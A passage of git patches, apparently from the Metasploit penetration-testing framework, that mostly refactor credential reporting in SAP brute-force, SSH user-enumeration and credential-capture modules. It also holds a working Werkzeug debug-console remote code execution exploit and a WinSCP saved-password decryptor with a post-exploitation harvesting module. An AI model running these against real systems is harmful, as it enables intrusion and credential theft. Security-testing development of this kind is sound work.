"#{datastore['BAPI_PASSWORD']}", - :active => true + ip: ip, + port: rport, + service_name: 'sap', + user: datastore['BAPI_USER'], + password: datastore['BAPI_PASSWORD'], + proof: res.body ) return end diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 0e42d39ce5..1febb6b023 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -101,6 +101,33 @@ class Metasploit4 < Msf::Auxiliary end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def bruteforce(username,password,client) uri = normalize_uri(target_uri.path) @@ -132,15 +159,13 @@ class Metasploit4 < Msf::Auxiliary if res && res.code == 200 && res.body.include?('RFC_PING') print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap", - :proto => "tcp", - :user => username, - :pass => password, - :proof => "SAP Client: #{client}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap', + user: username, + password: password, + proof: "SAP Client: #{client}" ) return true end diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index b54eb2d44e..ebac99fd8b 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -107,6 +107,33 @@ class Metasploit4 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def bruteforce(uri,user,pass,cli) begin path = "sap/bc/gui/sap/its/webgui/" @@ -134,30 +161,26 @@ class Metasploit4 < Msf::Auxiliary end if res and res.code == 302 - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap_webgui", - :proto => "tcp", - :user => "#{user}", - :pass => "#{pass}", - :proof => "SAP Client: #{cli}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap_webgui', + user: user, + password: pass, + proof: "SAP Client: #{cli}" ) return true elsif res and res.code == 200 if res.body =~ /log on again/ return false elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/ - report_auth_info( - :host => rhost, - :port => rport, - :sname => "sap_webgui", - :proto => "tcp", - :user => "#{user}", - :pass => "#{pass}", - :proof => "SAP Client: #{cli}", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap_webgui', + user: user, + password: pass, + proof: "SAP Client: #{cli}" ) return true elsif res.body =~ /Password logon no longer possible - too many failed attempts/ diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb index 3b6cf7c2ae..52becd24cc 100644 --- a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -140,13 +140,26 @@ class Metasploit3 < Msf::Auxiliary end def do_report(ip, user, port) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :active => true - ) + service_data = { + address: ip, + port: rport, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) end def peer(rhost=nil) diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb index bb7dc4ce44..3379adad44 100644 --- a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -118,13 +118,26 @@ class Metasploit3 < Msf::Auxiliary end def do_report(ip, user, port) - report_auth_info( - :host => ip, - :port => rport, - :sname => 'ssh', - :user => user, - :active => true - ) + service_data = { + address: ip, + port: rport, + service_name: 'ssh', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: user, + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) end # Because this isn't using the AuthBrute mixin, we don't have the diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 784ce1814d..721835e278 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -110,6 +110,32 @@ class Metasploit3 < Msf::Auxiliary raise ::EOFError end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def dispatch_request(cli, req) phost = cli.peerhost @@ -187,14 +213,14 @@ class Metasploit3 < Msf::Auxiliary if(req['Authorization'] and req['Authorization'] =~ /basic/i) basic,auth = req['Authorization'].split(/\s+/) user,pass = Rex::Text.decode_base64(auth).split(':', 2) - report_auth_info( - :host => cli.peerhost, - :port => @myport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :source_type => "captured", - :active => true + + report_cred( + ip: cli.peerhost, + port: @myport, + service_name: (ssl ? "https" : "http"), + user: user, + pass: pass, + proof: req.resource.to_s ) report_note( diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 82d13dc22a..a11ff87366 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -128,6 +128,32 @@ class Metasploit3 < Msf::Auxiliary c.put data end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def on_client_data(c) info = { :errors => [] } data = c.get_once @@ -144,16 +170,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") end hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" - report_auth_info( - :host => c.peerhost, - :port => datastore['SRVPORT'], - :sname => 'mysql_client', - :user => info[:username], - :pass => hash_line, - :type => "mysql_hash", - :proof => info[:database] ? info[:database] : hash_line, - :source_type => "captured", - :active => true + + report_cred( + ip: c.peerhost, + port: datastore['SRVPORT'], + service_name: 'mysql_client', + user: info[:username], + pass: hash_line, + proof: info[:database] ? info[:database] : hash_line ) if (datastore['CAINPWFILE']) diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index 182688550f..b3943cb4fb 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -371,6 +371,32 @@ class Metasploit3 < Msf::Exploit::Remote end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def exploit print_status("#{peer} - Checking for a valid node id...") node_id = get_node diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index af7ffcc6b6..ef63d59539 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -324,20 +324,69 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Oracle Integrated Lights Out Manager Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end + def test_mysql + mod = framework.auxiliary.create('server/capture/mysql') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql_client', user: FAKE_USER, pass: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_http + mod = framework.auxiliary.create('server/capture/http') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, pass: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_ssh_enumusers + mod = framework.auxiliary.create('scanner/ssh/ssh_enumusers') + mod.do_report(FAKE_IP, FAKE_USER, FAKE_PORT) + end + + def test_cerberus_sftp_enumusers + mod = framework.auxiliary.create('scanner/ssh/cerberus_sftp_enumusers') + mod.do_report(FAKE_IP, FAKE_USER, FAKE_PORT) + end + + def test_sap_web_gui_brute_login + mod = framework.auxiliary.create('scanner/sap/sap_web_gui_brute_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap_webgui', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_soap_rfc_brute_login + mod = framework.auxiliary.create('scanner/sap/sap_soap_rfc_brute_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_soap_bapi_user_create1 + mod = framework.auxiliary.create('scanner/sap/sap_soap_bapi_user_create1') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + + def run + counter_all = 0 + counter_good = 0 + counter_bad = 0 self.methods.each do |m| next if m.to_s !~ /^test_.+/ print_status("Trying: ##{m.to_s}") begin self.send(m) print_good("That didn't blow up. Good!") + counter_good += 1 rescue ::Exception => e print_error("That blew up :-(") print_line("#{e.class} #{e.message}\n#{e.backtrace*"\n"}") + counter_bad += 1 ensure print_line end + + counter_all += 1 end + + print_good("Number of test cases that passed: #{counter_good}") + print_error("Number of test cases that failed: #{counter_bad}") + print_status("Number of test cases overall: #{counter_all}") + print_line end end From 3c394d673d0d90882ea0dbcf357856e54fbe8718 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Thu, 30 Jul 2015 16:25:15 -0500 Subject: [PATCH 0206/2172] altered module to default to replace RHOST with VHOST if it is defined. MSP-11167 --- modules/auxiliary/scanner/http/http_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 228562ae0d..9ea83c5552 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary if rport == 443 or ssl proto = "https" end - "#{proto}://#{rhost}:#{rport}#{@uri.to_s}" + "#{proto}://#{vhost}:#{rport}#{@uri.to_s}" end def run_host(ip) From 6e146794a27d8e8d6545893c249f36497a7cbae2 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 31 Jul 2015 14:48:02 -0500 Subject: [PATCH 0207/2172] fix indents and style --- lib/rex/proto/tftp/client.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index 80063aa63f..162e2d8cff 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -302,7 +302,7 @@ class Client yield "Sending #{expected_size} bytes (#{expected_blocks} blocks)" end data_blocks.each_with_index do |data_block,idx| - while true + loop do req = [OpData, (idx + 1), data_block].pack("nnA*") self.server_sock.sendto(req, host, port) res = self.server_sock.recvfrom(65535) @@ -313,10 +313,10 @@ class Client sent_blocks += 1 sent_data += data_block.size yield "Sent #{data_block.size} bytes in block #{idx+1}" if block_given? - break - else + break + else next - end + end else if block_given? yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] From b40c36688c2ee19ba60930d09e6631ba752425b3 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 31 Jul 2015 16:17:34 -0500 Subject: [PATCH 0208/2172] check send retry count and abort in excess --- lib/rex/proto/tftp/client.rb | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index 162e2d8cff..7ad7761adc 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -295,6 +295,7 @@ class Client end sent_data = 0 sent_blocks = 0 + send_retries = 0 expected_blocks = data_blocks.size expected_size = data_blocks.join.size if block_given? @@ -304,7 +305,15 @@ class Client data_blocks.each_with_index do |data_block,idx| loop do req = [OpData, (idx + 1), data_block].pack("nnA*") - self.server_sock.sendto(req, host, port) + if self.server_sock.sendto(req, host, port) <= 0 + send_retries += 1 + if send_retries > 100 + break + else + next + end + end + send_retries = 0 res = self.server_sock.recvfrom(65535) if res code, type, msg = parse_tftp_response(res[0]) @@ -326,6 +335,11 @@ class Client end end end + + if send_retries > 100 + yield "Too many send retries, aborted" + end + if block_given? if(sent_data == expected_size) yield("Transferred #{sent_data} bytes in #{sent_blocks} blocks, upload complete!") @@ -333,6 +347,7 @@ class Client yield "Upload complete, but with errors." end end + if sent_data == expected_size self.status = {:success => [ self.local_file, From ceb49a51a69d7ffd9303ca2cd86b34a183edf02c Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Sat, 1 Aug 2015 11:11:37 -0400 Subject: [PATCH 0209/2172] thanks @espreto for help --- .../exploits/multi/http/werkzeug_debug_rce.rb | 53 +++++++++---------- 1 file changed, 26 insertions(+), 27 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index cae53152f9..96ff0188c5 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -29,52 +29,51 @@ class Metasploit4 < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'Platform' => ['python'], - 'Targets' => [[ 'werkzeug 0.10 and older', { }]], + 'Targets' => [[ 'werkzeug 0.10 and older', {}]], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 28 2015', ) register_options( [ - OptString.new('TARGETURI',[true,'URI to the console','/console']) + OptString.new('TARGETURI', [true, 'URI to the console', '/console']) ], self.class ) end def check - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) - }) - #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 - if res and res.body =~ /Werkzeug powered traceback interpreter/ + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + ) + # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 + if res && res.body =~ /Werkzeug powered traceback interpreter/ return Exploit::CheckCode::Appears end - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end def exploit - #first we need to get the SECRET code - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) - }) + # first we need to get the SECRET code + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']) + ) if res && res.body && res.body.to_s =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = $1 - vprint_status("Secret Code: #{secret}") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']), - 'vars_get' => { - '__debugger__' => 'yes', - 'cmd' => payload.encoded, - 'frm' => '0', - 's' => secret - } - }) + vprint_status('Secret Code: #{secret}') + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI']), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => payload.encoded, + 'frm' => '0', + 's' => secret + } + ) else - print_error("Secret code not detected.") + print_error('Secret code not detected.') end end end - From eab9b3bf5b0f4306ad80bd7938e093c3dde6c3c9 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Sat, 1 Aug 2015 14:39:12 -0400 Subject: [PATCH 0210/2172] interpolation fix on secret --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 96ff0188c5..30843aab57 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -61,7 +61,7 @@ class Metasploit4 < Msf::Exploit::Remote ) if res && res.body && res.body.to_s =~ /SECRET = "([a-zA-Z0-9]{20})";/ secret = $1 - vprint_status('Secret Code: #{secret}') + vprint_status("Secret Code: #{secret}") send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']), From deb6f5638e88a84f6d40e7d43bdcf3f2d3394db1 Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 1 Aug 2015 20:44:14 +0100 Subject: [PATCH 0211/2172] Update WinSCP Gather * Refactor parsing to common library to support command line tool * Look in APPDATA not just ProgramFiles * Iterate over user APPDATA --- lib/rex/parser/winscp.rb | 106 ++++++++++ .../post/windows/gather/credentials/winscp.rb | 182 ++++++------------ tools/winscp_decrypt.rb | 13 ++ 3 files changed, 183 insertions(+), 118 deletions(-) create mode 100644 lib/rex/parser/winscp.rb create mode 100755 tools/winscp_decrypt.rb diff --git a/lib/rex/parser/winscp.rb b/lib/rex/parser/winscp.rb new file mode 100644 index 0000000000..c9039f232d --- /dev/null +++ b/lib/rex/parser/winscp.rb @@ -0,0 +1,106 @@ +require 'rex/parser/ini' + +module Rex +module Parser + module WinSCP + def read_and_parse_ini(filename) + file = File.read(filename) + return if file.to_s.empty? + parse_ini(file) + end + + def parse_protocol(fsprotocol) + case fsprotocol.to_i + when 5 then 'FTP' + when 0 then 'SSH' + else + 'Unknown' + end + end + + def parse_ini(file) + results = [] + raise RuntimeError, 'No data to parse' if file.nil? || file.empty? + + ini = Rex::Parser::Ini.from_s(file) + + if ini['Configuration\\Security'] + # if a Master Password is in use we give up + if ini['Configuration\\Security']['MasterPassword'].to_i == 1 + raise RuntimeError, 'Master Password Set, unable to recover saved passwords!' + end + end + + # Runs through each group in the ini file looking for all of the Sessions + ini.each_key do |group| + if group.include?('Sessions') && ini[group].has_key?('Password') + # Decrypt our password, and report on results + encrypted_password = ini[group]['Password'] + user = ini[group]['UserName'] + host = ini[group]['HostName'] + sname = parse_protocol(ini[group]['FSProtocol']) + plaintext = decrypt_password(encrypted_password, "#{user}#{host}") + + results << { + hostname: host, + password: plaintext, + portnumber: ini[group]['PortNumber'] || 22, + username: user, + protocol: sname + } + end + end + + results + end + + def decrypt_next_char + pwalg_simple_magic = 0xA3 + pwalg_simple_string = "0123456789ABCDEF" + + # Decrypts the next character in the password sequence + if @password.length > 0 + # Takes the first char from the encrypted password and finds its position in the + # pre-defined string, then left shifts the returned index by 4 bits + unpack1 = pwalg_simple_string.index(@password[0,1]) + unpack1 = unpack1 << 4 + + # Takes the second char from the encrypted password and finds its position in the + # pre-defined string + unpack2 = pwalg_simple_string.index(@password[1,1]) + # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF + result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff + # Strips the first two chars off and returns our result + @password = @password[2,@password.length] + return result + end + end + + def decrypt_password(pwd, key) + pwalg_simple_flag = 0xFF + @password = pwd + flag = decrypt_next_char() + + if flag == pwalg_simple_flag + decrypt_next_char() + length = decrypt_next_char() + else + length = flag + end + ldel = (decrypt_next_char())*2 + @password = @password[ldel,@password.length] + + result = "" + length.times do + result << decrypt_next_char().chr + end + + if flag == pwalg_simple_flag + result = result[key.length, result.length] + end + + result + end + end +end +end diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index c2b47187a7..ac3bde0a0a 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -1,5 +1,3 @@ -# post/windows/gather/enum_vnc_pw.rb - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -8,6 +6,7 @@ require 'msf/core' require 'rex' require 'rex/parser/ini' +require 'rex/parser/winscp' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post @@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles include Msf::Post::File + include Rex::Parser::WinSCP def initialize(info={}) super(update_info(info, @@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post portnum = 22 end - winscp_store_config( - 'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "", - 'HostName' => registry_getvaldata(active_session, 'HostName') || "", - 'Password' => password, - 'PortNumber' => portnum, - 'UserName' => registry_getvaldata(active_session, 'UserName') || "", - ) + encrypted_password = password + user = registry_getvaldata(active_session, 'UserName') || "" + fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || "" + sname = parse_protocol(fsprotocol) + host = registry_getvaldata(active_session, 'HostName') || "" + plaintext = decrypt_password(encrypted_password, "#{user}#{host}") + + winscp_store_config({ + hostname: host, + username: user, + password: plaintext, + portnumber: portnum, + protocol: sname + }) end if savedpwds == 0 @@ -96,121 +103,60 @@ class Metasploit3 < Msf::Post end - - def get_ini(filename) - print_error("Looking for #{filename}.") - # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser - parse = read_file(filename) - if parse.nil? - print_error("WinSCP.ini file NOT found...") - return - end - - print_status("Found WinSCP.ini file...") - ini = Rex::Parser::Ini.from_s(parse) - - # if a Master Password is in use we give up - if ini['Configuration\\Security']['MasterPassword'] == '1' - print_status("Master Password Set, unable to recover saved passwords!") - return nil - end - - # Runs through each group in the ini file looking for all of the Sessions - ini.each_key do |group| - if group.include?('Sessions') && ini[group].has_key?('Password') - winscp_store_config( - 'FSProtocol' => ini[group]['FSProtocol'], - 'HostName' => ini[group]['HostName'], - 'Password' => ini[group]['Password'], - 'PortNumber' => ini[group]['PortNumber'] || 22, - 'UserName' => ini[group]['UserName'], - ) - - end - end - end - - def decrypt_next_char - - pwalg_simple_magic = 0xA3 - pwalg_simple_string = "0123456789ABCDEF" - - # Decrypts the next character in the password sequence - if @password.length > 0 - # Takes the first char from the encrypted password and finds its position in the - # pre-defined string, then left shifts the returned index by 4 bits - unpack1 = pwalg_simple_string.index(@password[0,1]) - unpack1 = unpack1 << 4 - - # Takes the second char from the encrypted password and finds its position in the - # pre-defined string - unpack2 = pwalg_simple_string.index(@password[1,1]) - # Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF - result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff - # Strips the first two chars off and returns our result - @password = @password[2,@password.length] - return result - end - - end - - - - def decrypt_password(pwd, key) - pwalg_simple_flag = 0xFF - @password = pwd - flag = decrypt_next_char() - - if flag == pwalg_simple_flag - decrypt_next_char() - length = decrypt_next_char() - else - length = flag - end - ldel = (decrypt_next_char())*2 - @password = @password[ldel,@password.length] - - result = "" - length.times do - result << decrypt_next_char().chr - end - - if flag == pwalg_simple_flag - result = result[key.length, result.length] - end - - result - end - def run print_status("Looking for WinSCP.ini file storage...") - get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini")) - print_status("Looking for Registry Storage...") - get_reg() - print_status("Done!") + + # WinSCP is only x86... + if sysinfo['Architecture'] == 'x86' + prog_files_env = 'ProgramFiles' + else + prog_files_env = 'ProgramFiles(x86)' + end + env = get_envs('APPDATA', prog_files_env, 'USERNAME') + + user_dir = "#{env['APPDATA']}\\..\\.." + user_dir << "\\.." if user_dir.include?('Users') + + users = dir(user_dir) + users.each do |user| + next if user == "." || user == ".." + app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini" + vprint_status("Looking for #{app_data}...") + get_ini(app_data) if file?(app_data) + end + + program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini" + + get_ini(program_files) if file?(program_files) + + print_status("Looking for Registry storage...") + get_reg + end + + def get_ini(file_path) + print_good("WinSCP.ini located at #{file_path}") + file = read_file(file_path) + parse_ini(file).each do |res| + winscp_store_config(res) + end end def winscp_store_config(config) - host = config['HostName'] - pass = config['Password'] - portnum = config['PortNumber'] - proto = config['FSProtocol'] - user = config['UserName'] + begin + res = client.net.resolve.resolve_host(config[:hostname], AF_INET) + ip = res[:ip] if res + rescue Rex::Post::Meterpreter::RequestError => e + print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}") + ensure + print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}") + end - sname = case proto.to_i - when 5 then "FTP" - when 0 then "SSH" - end - - # Decrypt our password, and report on results - plaintext = decrypt_password(pass, user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}") + return unless ip service_data = { - # XXX This resolution should happen on the victim side instead - address: ::Rex::Socket.getaddress(host), - port: portnum, - service_name: sname, + address: ip, + port: config[:portnumber], + service_name: config[:protocol], protocol: 'tcp', workspace_id: myworkspace_id, } @@ -220,8 +166,8 @@ class Metasploit3 < Msf::Post session_id: session_db_id, post_reference_name: self.refname, private_type: :password, - private_data: plaintext, - username: user + private_data: config[:password], + username: config[:username] }.merge(service_data) credential_core = create_credential(credential_data) diff --git a/tools/winscp_decrypt.rb b/tools/winscp_decrypt.rb new file mode 100755 index 0000000000..4e8cd79932 --- /dev/null +++ b/tools/winscp_decrypt.rb @@ -0,0 +1,13 @@ +#!/usr/bin/env ruby + +$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) +require 'rex/parser/winscp' + +exit unless ARGV.count == 1 + +include Rex::Parser::WinSCP + +puts ARGV.first +read_and_parse_ini(ARGV.first).each do |res| + puts res.inspect +end From c197e5224d5083e6db40b30c899412fbc108e10c Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Sat, 1 Aug 2015 20:52:25 +0100 Subject: [PATCH 0212/2172] Store loot --- modules/post/windows/gather/credentials/winscp.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index ac3bde0a0a..e9c4d452d1 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -136,6 +136,8 @@ class Metasploit3 < Msf::Post def get_ini(file_path) print_good("WinSCP.ini located at #{file_path}") file = read_file(file_path) + stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path) + print_status("WinSCP saved to loot: #{stored_path}") parse_ini(file).each do |res| winscp_store_config(res) end From 0067d251807e28be47f4160d8dd7fe02bbab28e7 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:40:03 -0500 Subject: [PATCH 0213/2172] add the sepm auth bypass rce module --- .../windows/http/sepm_auth_bypass_rce.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/windows/http/sepm_auth_bypass_rce.rb diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb new file mode 100644 index 0000000000..ead0c20bc8 --- /dev/null +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include 